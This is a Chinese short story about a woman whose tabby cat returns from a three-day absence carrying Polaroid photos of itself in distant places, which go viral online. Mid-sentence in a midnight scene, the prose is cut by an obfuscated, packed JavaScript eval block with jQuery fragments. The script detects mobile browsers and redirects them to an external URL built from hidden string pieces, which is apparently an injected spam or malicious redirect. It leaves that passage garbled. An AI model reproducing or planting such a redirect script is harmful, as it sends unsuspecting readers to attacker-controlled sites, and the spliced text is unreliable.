迟菲开门的时候，风从楼道那头拐过来，带着一股潮冷的气味，有股淡淡的腥气，像是某个潮湿地方刚刚被掀开过一角。
她以为是哪个邻居家的塑料袋没绑好，直到她低头，看见门口蹲着一团花纹暗沉的身影。那是狸仔，她养的狸花猫。
狸仔抬起头看她，眼睛里没有光，也没有诉求。就是看着，像是恰好在这儿等她。
它正端坐在门口，前爪收得干净，尾巴盘在侧边，一动不动地看着她。像是等了许久，像是恰好路过。
迟菲怔住了。
她没想到它真的会回来。
狸仔失踪了整整三天，像什么也没说，就从她生活里消失了一样。她贴了告示，翻遍了楼下所有绿化带和快递箱，也去问了便利店和保安，没人见过它。
现在，它回来了，身上不湿也不脏，只有一点浅灰色的尘土落在胡须和额头上。它脖子上挂着一根细绳，末端夹着一张拍立得照片。
迟菲蹲下来，没敢直接伸手，狸仔倒先动了，抬起头，用脑袋轻轻碰了碰她的手背。她这才摸到它耳后的毛，干的，软的，带着一种奇怪的暖。
狸仔没进屋，只是把脑袋一低，那张照片就轻轻掉在她门前的门槛上。是拍立得，边角已经有些翘了，但图像清晰。
画面背景是一处石阶与晨雾笼罩的山岭，高处一排石柱，像是古代遗迹。画面前方，狸仔端坐在最中央的一阶台阶上，正对镜头，头微偏，神情安静。
就像是——它在那儿“拍了张照”，再带了回来。
迟菲手指轻颤了一下。她盯着那张照片看了很久，像是在等待哪怕一点人为痕迹出现，但它没有滤镜、没有拼接、连剪影边缘都干净得像天然构图。
更奇怪的是，狸仔的影子方向、山石的光线、远处日出的雾光，全都完美一致，不像伪造的。
她不知道那是哪里，只觉得有点熟。背后隐约是某种南美山地，石建筑像是在国家地理看过的。她翻面看看照片背后，干净的白纸，没有字，没有拍摄时间。
狸仔已经抬脚自己进屋了，没回头。
她半跪着，看着照片里那只端坐的狸猫和现实中这只默然进门的狸仔，觉得一时有些恍惚。
她关上门。脚边有点凉，狸仔蹲在茶几脚边，用爪子拍了拍水壶下面的拖布，然后坐下舔毛。
它一副“我回来了”的样子。
“你去哪儿了？”迟菲问。
狸仔没理她，打了个哈欠。
她把那张照片放在桌面上，阳光正好斜进来，一角照在纸面上，颜色更暖了几分。她又翻拍了一张，用手机上传到自己的旧账号上，账号名叫“狸猫行走地球记录员”。
她附了一句：“失踪三天，狸仔回来时，带了这张‘自拍’。谁懂这到底怎么拍的？”
她本来只是随手发发。这个账号关注人数不到一千，大多数是早年做内容运营时留下来的粉丝，平时她发些猫打哈欠、傍晚便利店门口灯光、街角树影的照片，很少互动。
她没等回复，手机扔到沙发角，转身进厨房倒了点热水。狸仔跳上窗台，在她窗外那个电表箱上坐了一会儿，正对着玻璃，看不清表情。
她看着它，突然有种没法解释的情绪。不是心疼，也不是惊讶。是那种——“你好像不是很需要我，但你还选择回来”的，类似温柔又被谅解的情绪。也许它本来就不是她的，但它又一次，回来了。
第二天早上，迟菲醒得晚了一点。
她最近作息不规律，睡得沉时整夜不翻身，醒着的时候又一整晚睁着眼。今天算是睡得好一些，起身的时候阳光斜照在茶几上，狸仔蜷在靠垫中间，整只猫缩成一团，看上去像一块安静的岩石。
她走到厨房，烧水，热了一些隔夜的粥，随手看了眼手机。一百五十七条私信提示，九百多条评论提醒。
她愣了两秒，才想起昨晚随手发出去的那条照片，点进去看，“狸仔自拍”的照片已经被转发了三千多次，点赞和收藏一起破了万。评论区是一片五花八门：
“猫也能玩自拍了？”
“AI合成图，但有点高级。”
“拍得好好看，我家猫只会踩屎。”
“说实话有点瘆人……这猫像在盯我看。”
“你不觉得像什么‘送命题’吗？谁拍的它？！”
她的手指在屏幕上滑动，读着那些带笑意、讽刺、欣赏、困惑的语句，心里却一片平静，她知道它是真的。
她也知道，这件事讲不清，狸仔还在睡，没被热水壶的响声吵醒。阳光刚刚好地落在它耳朵上，毛色泛着灰金色的光，像旧铜器上未擦去的尘。
她没打算解释什么，关掉通知，把照片设成了置顶，然后顺手拍了一张狸仔现在的模样：闭着眼，蜷在枕头旁，像一只正做完长途梦的旅人。
*****
迟菲吃粥的时候，手机响了，是她妈的微信语音通话，她盯着那串闪烁的头像看了几秒，然后点了接听。
“喂？”她妈那头的声音永远是先拉长尾音，再开始语速过快地问：“你最近是不是又没工作？上次那个面试你也没回我啊？你到底想干嘛呀迟菲？我说你别老拍猫了，有什么意思啊？”
迟菲低头搅着碗，没说话，她妈那边是厨房在洗菜的声音，还有电视里早间新闻的片头曲。她突然觉得特别不想插进去——像一个永远听不见自己回答的频道。
她嗯了一声，说：“还行。”
狸仔动了动耳朵，从沙发上跳下来，走到她脚边坐住了。它没叫，只是用头轻轻碰了碰她膝盖。
“你又养猫啊？！”她妈在那头提高了声音，“上次说那个猫还不见了，怎么又回来一只？你到底还打不打算好好过日子？”
迟菲没回她，只是低头摸了摸狸仔的头，狸仔歪了歪脑袋，像是在回应又像只是习惯动作。
“我要出门了，”迟菲说，“晚点再打。”
她挂断电话，手机震了几下，还有几个私信跳了出来。
有个博主发来合作邀请，说她“这个猫拍摄角度特别自然，愿不愿意出一组虚拟猫旅行故事？”配的备注是：“真的有AI感，太吸睛了。”
她看了一眼，没回。迟菲不想把狸仔变成一个营销话题。不是出于什么高尚，只是觉得不合适。狸仔不是道具，也不是素材，它连“宠物”都不算。
它是一只——她也说不清的存在。
*****
傍晚她去了趟楼下便利店，买了猫罐头和新电池。店里小哥看见她，打趣道：“那只猫是你家的吗？拍照那张，看着挺拽的啊。”
迟菲笑了笑，没答话，等她上楼回来，狸仔不在沙发，也不在阳台。她一开始有点紧张，在厨房门口站了几秒，转头，才发现它正趴在窗台上，鼻尖顶着窗纱，安静地看着外面。
那是小区尽头的一段石阶，黄昏时光特别长，路人影子也被拉得极细。它看得出神，像是在等什么。
她轻声叫：“狸仔？”
狸仔回头，尾巴在空中轻甩了一下，然后跳下来，慢慢走到她身边坐下，她没问它今天要不要再走，只是低头看着它。
“你今天，去哪儿了？”她问。
狸仔仰起脸，看了她一眼，眼睛是淡淡的灰绿，在日落光里像水底打捞上来的玻璃珠，它没说话，但她觉得自己听懂了。
它是在说：我今天没走太远，因为你看起来不太好。
夜里十一点多，迟菲在阳台上坐了很久。
她今天没有打开电脑，也没点开那些私信和评论。照片还在发酵，但她不太关心走向。她有种说不清的疲倦，像是站在一场梦的边缘，不知道该不该进去，也不想醒来。
狸仔趴在阳台窗台边，眼睛半眯。它一直保持那种“醒着”的状态，但又像在休息。迟菲把手里的茶喝完，轻声说了句：“你去哪儿拍的？”
狸仔没动。
“谁帮你拍的？”
狸仔仍然没动。
风吹了一下窗纱，灯光里晃出一道折线影子，投在狸仔耳背上。
迟菲没再说话。
她突然意识到，猫不是她养来听命的。它没有义务告诉她去哪了，也不会主动安慰。它在她家的每一刻，都不是“归属”，而只是一种选择——一种，宁愿回来的选择。
*****
午夜十二点半，她刷了牙，关灯准备睡觉。
躺下五分钟，狸仔没有照常跳上床。她翻个身看去，它不在沙发上，也不在窗边，迟菲蹑手蹑脚走进客厅。
阳台门虚掩着。狸仔站在窗沿，低着头，用爪子拨弄着项圈上的小夹子，迟菲没敢出声。
月光很淡，从玻璃反射到它的毛上，像是给狸仔蒙了一层看不见的轮廓。它动作缓慢，但非常精准——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628078|172477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是知道自己在做什么，也知道不能被打扰。
几秒后，“咔哒”一声，夹子弹开，一张新的照片落在阳台地砖上。狸仔低头叼住，缓缓跳下窗沿，把照片放在茶几上，转身跳回沙发，继续舔爪子。
它整个过程都没有发出一点声音。像是完成了一件仪式。迟菲站在门边，看着它。没有惊讶，没有害怕，也没有更多的问题，她慢慢走过去，拾起那张新照片，还是拍立得。
这次，背景是月光下的阳台。风大，画面左上角隐约有树影划过。画面正中——狸仔站在一块低矮的窗户上，朝远处的方向看去，身形笔直，尾巴稍稍下垂，风吹得它胡须朝一侧飘动。
镜头仿佛就是在它的背后，但它又刚好回头看了镜头一眼——像是，它知道这张照片会被谁看到。
这不像偶然，也不像手机拍照计时、随机翻滚后的侥幸构图。迟菲盯着照片上的狸仔，觉得心里某个地方慢慢松动了一点。
那是一种很轻很轻的感受——好像在世界的某一端，有什么东西是为她保留的。
狸仔已经睡着了，头歪在沙发扶手上，前爪收得干净。它的样子一点也不像一只刚刚从异地归来的旅者，只像是一只温度恰好的、知道回家的猫。
*****
迟菲把第二张照片放在第一张旁边。它们的角度、色温、光感完全不同，却奇妙地构成一种“猫的旅途被她目睹”的秩序。
她没有再去打扰狸仔，也没有继续追问。迟菲的只是轻轻说了句：“你真能看懂我。”然后，她关了灯，回房间睡觉。
窗外风起的时候，她听见狸仔轻轻跳下沙发的声音，像在巡视，又像在确认——她在这，它才有留下的理由。
第二天的天气阴了一层，像滤镜压低了饱和度，窗外的水泥天桥泛着不动声色的青。
迟菲一早去便利店买猫粮和新的绳夹。她在货架前站了一会儿，挑了个颜色和狸仔毛色差不多的雾蓝款。她没多想，只是觉得合适。
结账时，便利店的小哥突然开口：“你家那猫，是不是前几天也在西门口那边出现过？”
迟菲一怔：“你看到它了？”
小哥点点头，“我没看清是不是同一只，但有个穿红外套的男人来贴照片。也是只猫，花色很像，他说是‘遇见了很特别的猫’，还说那猫拍了张照片留给他。”
“拍了张？”
“对。他给我们看了照片，确实像猫在照片里。但我看那猫也就一只，后来就没人见过了。”
迟菲没说话，她付完钱，站在便利店门口小小的自动门里，看着街上车流不多，早高峰像迟了半拍。
她突然觉得，狸仔可能不是第一次旅行了。也许她以为的“第一次”，只是狸仔选择让她看见的第一次，或者说，它选了这个时机，才让她成为“旅程的一部分”。
*****
回到家时，狸仔正趴在床边的行李箱盖子上，那是她搬家之后一直没完全打开的箱子，里面装着一些旧衣服和几本过时的摄影杂志。
狸仔睡得很轻，它尾巴不时动一下，耳朵也抖动着，好像在梦里走着路。
迟菲把猫粮放好，找出一个没用的文具抽屉盒，擦干净，垫上了旧毛巾。她把那两张拍立得照片放进去，用一枚旧回形针夹住，角度整整齐齐。
字写得很轻，像怕被人看见，又像怕打破一种还不确定的仪式感，她拿了一张纸，写上：《狸仔的地球旅行日志》
她把便签夹在两张照片之间，合上小盒，放进床头柜最里侧。狸仔跳下来，走到她脚边，抬头看了看抽屉，又坐下舔了舔自己的后腿。
“你以后每次回来，”她说，“就给我带一张。”
狸仔没应声，但尾巴轻轻碰了碰她的脚踝。
像是一场无声的约定。
*****
那天夜里，她做了个梦。
梦里她站在某个陌生城市的河边，狸仔走在她前头，像在引路。它时不时回头看看她，像是怕她走丢，又像是——早就知道她会跟上。
风吹得河面发亮，远处有灯塔，猫站在塔下的石阶上，等她，她醒来时，窗外还没亮。狸仔坐在窗边，看着外头黑着的天空。
她没说话，也没打算再睡。迟菲只是轻轻起身，把那只照片盒子往床边拉近了一点，她知道，这事说不清。
但似乎，也不需要说清。